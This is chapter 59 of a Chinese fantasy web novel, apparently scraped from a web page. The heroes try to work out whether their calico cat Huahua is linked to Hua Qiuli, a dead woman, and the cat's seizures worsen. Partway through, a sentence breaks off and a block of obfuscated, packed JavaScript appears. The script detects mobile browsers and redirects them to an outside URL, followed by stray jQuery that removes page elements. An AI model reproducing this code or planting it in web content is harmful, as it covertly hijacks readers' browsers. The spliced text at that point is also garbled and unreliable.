59.花花

作品:《白泽书:异妖行

    “花秋礼,女,28岁。


    2020年1月19号凌晨四点五十四分被发现于花枝路南段,死因是...殴打造成的脏器破裂,失血过多加上低温。”


    云听颂皱眉,落在椅背上的手背关节微动,手指悬在空中,半晌才落下。


    “我,我捡到花花的时候是1月20号晚上。”李圆声音有些抖,连带着后背一股寒凉。


    “可是不对啊,如果这是花花,那我脑子里的猫,等等等。”白若离想说些什么,又有些混乱。


    “让我捋捋啊,19号花秋礼死了,20号李圆捡到了花花,可这上面写着花秋礼的尸体在停尸房停放了好久,一直没有人来认领已经火化了呀。”白若离说着,蹙眉满眼不解。


    人变成猫。


    可人已经死了,连本身都消失了,又怎么变成猫呢?


    “花花,是不是...”


    李圆有些不敢继续看手里的资料,手握成拳有些刺痛,“是不是,灵魂出现了什么意外?”


    人或者一些无法自主离开的魂魄会残留在原地,等待鬼差前来收取,按理来说不会出现这种情况。


    厉鬼幻化灵体,回顾往今,从未出现过这种情况。


    不管是理论还是逻辑上来说,大概率都是不可能的,这跳出了认知内的秩序。


    只是大千世界无奇不有,三界运转体系虽说稳定,可也有不同寻常的事情发生。


    又或者存在于其他独立维度的小世界,可这些小世界没有入口,就算要找答案,也找不到答案的。


    所以云听颂从不同方面找寻这样的案例,找不到。


    换魂,厉鬼化魂,甚至于虚有化形,如尘埃如怨气,他都能找到案例,可就是找不到花花这样的情况。


    人,一个没有灵气的人,死后莫名其妙又修成灵体,在他的逻辑中,暂时无法将其拆解。


    他说着,说到最后,还是否定了这个想法。


    “花秋礼,不是花花。”


    白羽出声,只单纯针对他们目前所说的,给出一个可能的答案。


    “不是花花?可花花只念了这么一个名字。”


    白若离理不清楚,只能趴在桌上。


    少女将脸放在一只手臂上,手指拨动已经空置的咖啡杯。


    “也许她不是花花,但花花知道这个名字,那她跟花花之间必然有驱动性的强关联。”


    云听颂手指敲打在椅子扶手上,给出一个答案。


    花花,花秋礼。


    “花花这个名字是你给花花取的吗?”云听颂突然抛出一个问题。


    李圆微愣,直到白若离手掌心在自己面前晃了晃,这才回神。


    “你,是在问我吗?”


    云听颂挑眉,似乎是在说花花是你的猫,不问你还能问我吗?


    “算是吧?”李圆有些犹豫。


    “算是?”云听颂反问。


    “最开始我捡到花花的时候,它受伤太重了,我没有考虑到取名之类的,一心只想把她治好。”


    关于这个名字,其实算是花花自己给自己取的。


    当时花花情况转好,李圆便把小猫带回了家。


    她预习的课本正好翻到琵琶行,还没等她想好该给小猫取什么名字,小猫自己便将爪子落在了那句“春江花朝秋月夜,往往取酒还独倾”上,她也就顺势给小猫取名叫花花了。


    “哦~所以你才说算是,因为是花花自己选的句子。”白若离爬起来,脑袋一歪一正,恍然大悟。


    李圆点点头。


    叫春春好像不太好听,加上花花是只三花猫,她就叫花花了。


    花花自己也很喜欢这个名字。


    “这个名字,是有什么不对吗?”李圆偏头,望向云听颂。


    花秋礼,花花。


    虽然说有重字,可花秋礼并不是花花,她已经去世了。


    “会不会是附身?”


    白羽又开口,想到了一个点。


    “你的意思是,花秋礼的灵魂附身到了一只猫身上,失忆似乎不太符合这种情况的逻辑。”云听颂认真思考。


    “况且,那只猫还没有死,它为什么会同意让出自己的身体?”


    “如果什么都讲逻辑,那这个世界上好多事情都没有逻辑了。”白若离说着,眼神往外瞟。


    “一切没有逻辑的东西背后都有逻辑,只是看我们有没有挖掘到那里。”云听颂说着,又低头重新翻看起了资料。


    “那接下来...怎么办?段爷爷还在家等我。”


    李圆咬唇,思绪一片混乱,只能暂时中止这个话题。


    白若离摸着下巴,歪头非常认真给出了一个建议。


    “接下来,买冰淇淋!”


    众人:???


    商场里人声鼎沸,不少家庭出游。


    黄色的灯光落在银白的建筑体内,不同店铺里的灯光也不同。


    整体都是和谐的淡色,只是光落在不同颜色上呈现出了偏差。


    “你们先回车上吧!我跟小羽买完就来!”


    白若离眼睛亮晶晶的,朝那边往电梯口走的两个人招手。


    周围行人纷纷侧目望着那个长相惊为天人的少女,李圆看着众人的目光,将打招呼的手缩了回去。


    还,还是电话说吧。


    这里人有些太多了,连带着目光也让人觉得不适应。


    李圆驼背低头,跟着进了电梯,心尖都在颤抖,连带着只能不张口轻轻调整呼吸。


    人,还是太多了。


    都挤在电梯里,总有些尴尬。


    另一边,打完招呼的白若离拉着白羽便去排冰淇淋店。


    “小羽你要吃什么口味哒!”


    白若离望着手机小程序上各种五花八门的冰淇淋,往旁边一伸,递给白羽一起看。


    “开心果。”


    话音刚落,旁边突然窜过来一个短发女人,穿着一身剪裁得体的黑西装,朝两人开口。


    “你好,我是永星娱乐的经纪人,看您二位外形出众,要不要考虑做明星?”


    “那我吃巧克力的!”白若离像是完全没听到女人的话,兴奋下单。


    “若离,找我们的。”白羽扯了扯少女的衣角。


    “不要不要,我有工作了。”


    她拒绝到这个份上,那女人也就没有再多说,转身离开了。


    只是在她转身的瞬间,白若离鼻翼微翕,眼底闪过一丝茫然。


    “小羽,你有没有闻到熟悉的味道?”


    白羽左右看看,摇头:“没有。”


    “奇怪,是我闻错了吗?总感觉这个味道在哪里闻到过,是哪里呢?”


    这一小插曲很快过去。


    “小羽,花花是花花,她跟....不一样的。”


    白若离没纠结,想起来自己想干什么,干脆拉着白羽坐在一旁等待的椅子上,轻声开口。


    “朋友。最好的和好的,都一样,所有选择都该被尊重。”白羽执拗说着。


    白若离低头,手指绕在上衣下摆的流苏上:“那别人的选择也应该被尊重,不认可但尊重!对吗?”


    他们也一样。


    少女仰头,一如往日般笑着。


    “1977号请取餐。”


    “诶!我们的冰淇淋好了耶!”


    白若离没等他的回复,只拉着他站起来,面上展露出一抹元气的笑,兴冲冲接过两个冰淇淋。


    山间回勾,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17012377|187911||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    纯白色的“山体”上点缀些许绿色和黑色,入口软滑冰凉,一下子刺激着舌尖。


    她拿着小盒子,边吃,边跟白羽一起往电梯口走。


    电梯下行,透明的电梯壁看得清一切结构和外面的视线。


    *


    一连五日,法定假期刚过,异管局复工,李圆跟花花也跟着搬回了棕榈湾。


    “真的没有办法了吗?”白若离问。


    “如果有办法,就不需要这一招了。”云听颂回。


    李圆:“要不,还是再确认一下吧?万一真的就是像小羽说的那样...附身呢?”


    “啪嗒”一声,刺眼的光晕打断故作神秘的黑暗,一时间有些熏人眼。


    “你们在干什么?”白羽站在房间门口,手掌还停留在黑色的灯光开关上。


    李圆闭眼躲光,再睁眼便看见白羽朝他们走过来。


    逐渐多了些色彩的冷调卧室里,三花猫正安静躺在床上呼呼大睡。


    许是被光刺到,它扭扭身体。


    白羽站在床对面,盯着他们。


    掌心轻捏纯棉的黑色卫衣衣角,李圆有些尴尬,小声解释:“那个...我们...”


    白羽面无表情,直接了当:“你们是想共梦?”


    “啊哈哈哈哈,哎呀小羽你看你这说的。”


    白若离挤出一抹笑,声音从最开始的尴尬转而为小声嘀咕,“怎么就猜那么准呢。”


    窗帘盖住夜光,只留下纯粹的人工光亮,带不起温度。


    “咳。”云听颂咳嗽一声,往后退半步,“目前没有其他线索在,最直观知道她到底是不是花花的方法,就是进到花花的梦里去查。”


    花秋礼去世了很久,看报告都没人来收尸,连个朋友也没有,这一切都跟花花的过去大相径庭,完全不符合。


    碎片曾经传来过感应,梦里的女人是花花,而那个花花光鲜亮丽,看起来人缘很好,工作也很好。


    怎么看,花秋礼都不应该是花花。


    “冥部,花秋礼灵魂。”白羽吐出几个字,视线转移到床上,“这样不会侵犯花花隐私。”


    云听颂绕过床,坐在床前凳上,将桌上的电脑打开,这才解释着。


    “就算去找,也不可能找到鬼魂跟其对话的,按照时间线,一年前,鬼应该已经投胎了。”


    已投胎的鬼,也不知道离开前曾保存的记忆还在不在。


    “可以查花秋礼的名字在不在。”白羽硬邦邦开口。


    如果查到不在,那花秋礼是花花这件事,多了一份证明;如果查到在,那就证明花秋礼确实不是花花,只是跟花花认识。


    虽然花秋礼跟花花有很多对不上的地方,但目前来说,他们似乎只有这个可疑人在,再没有其他人了。


    如果排除所有的不可能,那剩下那个不管再怎么奇怪、不合理都是真相。


    目前他们所知道的所有可能,都已经被排除的差不多了。


    云听颂听着,似乎除了共梦,也就只有这个方法了。


    再一次去冥界有灵分部。


    床上的小猫突然抽搐起来,将所有的猜测都打断,这一次的抽搐似乎比以往,比从前更加厉害。


    白羽赶忙摘下手臂上的羽毛,为它安抚心神。


    “不行,这次我的灵力不够了。”白羽额头上冒着冷汗,连手臂都肉眼可见地颤抖。


    “那,那怎么办?”李圆无措,望着床上的小猫,那股寒凉如电流趟过身体。


    说话间,白若离已经站到白羽身后,为他输送灵力。


    半晌,两个人都瘫倒在地,床上的小猫才逐渐停止抽搐,转而翻身继续沉睡。


    花花的情况,越来越严重,不能再拖了。